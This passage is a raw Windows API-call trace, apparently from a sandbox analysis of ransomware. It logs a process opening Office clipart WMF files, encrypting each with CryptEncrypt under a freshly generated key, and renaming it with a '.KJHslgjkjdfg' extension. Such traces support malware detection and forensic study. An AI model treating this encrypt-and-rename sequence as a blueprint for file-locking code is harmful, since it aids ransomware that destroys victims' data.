(hObject=0x130) returned 1 [0192.902] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1 [0192.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.902] GetProcessHeap () returned 0x990000 [0192.902] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.902] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.902] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.903] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.903] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.903] GetProcessHeap () returned 0x990000 [0192.903] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.903] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.903] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.903] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.906] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.906] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.906] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.906] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.906] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.907] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.907] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.907] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2d40, lpOverlapped=0x0) returned 1 [0192.922] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d40, dwBufLen=0x2d40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d40) returned 1 [0192.922] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.923] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2d40, lpOverlapped=0x0) returned 1 [0192.923] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.923] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.923] SetEndOfFile (hFile=0x130) returned 1 [0192.926] GetProcessHeap () returned 0x990000 [0192.926] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.926] GetProcessHeap () returned 0x990000 [0192.926] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.kjhslgjkjdfg")) returned 1 [0192.927] CloseHandle (hObject=0x130) returned 1 [0192.927] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1 [0192.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.929] GetProcessHeap () returned 0x990000 [0192.929] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.929] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.929] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.929] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.932] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.932] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.932] GetProcessHeap () returned 0x990000 [0192.932] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.932] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.932] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.932] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.932] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.932] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.932] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.933] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.933] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.933] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.933] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.933] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x42a4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x42a4, lpOverlapped=0x0) returned 1 [0192.934] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x42b0, dwBufLen=0x42b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x42b0) returned 1 [0192.934] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.934] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x42b0, lpOverlapped=0x0) returned 1 [0192.934] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.934] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.934] SetEndOfFile (hFile=0x130) returned 1 [0192.937] GetProcessHeap () returned 0x990000 [0192.937] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.937] GetProcessHeap () returned 0x990000 [0192.937] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.937] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.kjhslgjkjdfg")) returned 1 [0192.939] CloseHandle (hObject=0x130) returned 1 [0192.939] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1 [0192.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.940] GetProcessHeap () returned 0x990000 [0192.940] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.940] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.940] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.940] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.943] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.943] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.943] GetProcessHeap () returned 0x990000 [0192.943] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.943] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.943] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.943] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.943] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.943] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.943] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.944] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.944] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.944] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.944] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x229c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x229c, lpOverlapped=0x0) returned 1 [0192.946] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x22a0, dwBufLen=0x22a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x22a0) returned 1 [0192.946] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.947] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x22a0, lpOverlapped=0x0) returned 1 [0192.947] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.947] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.947] SetEndOfFile (hFile=0x130) returned 1 [0192.948] GetProcessHeap () returned 0x990000 [0192.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.948] GetProcessHeap () returned 0x990000 [0192.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.kjhslgjkjdfg")) returned 1 [0192.949] CloseHandle (hObject=0x130) returned 1 [0192.949] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1 [0192.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.951] GetProcessHeap () returned 0x990000 [0192.951] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.951] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.951] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.951] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.954] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.954] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.954] GetProcessHeap () returned 0x990000 [0192.954] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.954] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.954] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.954] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.954] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.954] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.954] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.955] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.955] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.955] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.955] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x305c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x305c, lpOverlapped=0x0) returned 1 [0192.956] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3060, dwBufLen=0x3060 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3060) returned 1 [0192.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.956] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3060, lpOverlapped=0x0) returned 1 [0192.957] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.957] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.957] SetEndOfFile (hFile=0x130) returned 1 [0192.958] GetProcessHeap () returned 0x990000 [0192.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.958] GetProcessHeap () returned 0x990000 [0192.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.kjhslgjkjdfg")) returned 1 [0192.959] CloseHandle (hObject=0x130) returned 1 [0192.959] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1 [0192.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.960] GetProcessHeap () returned 0x990000 [0192.960] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.960] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.960] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.960] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.962] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.962] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.963] 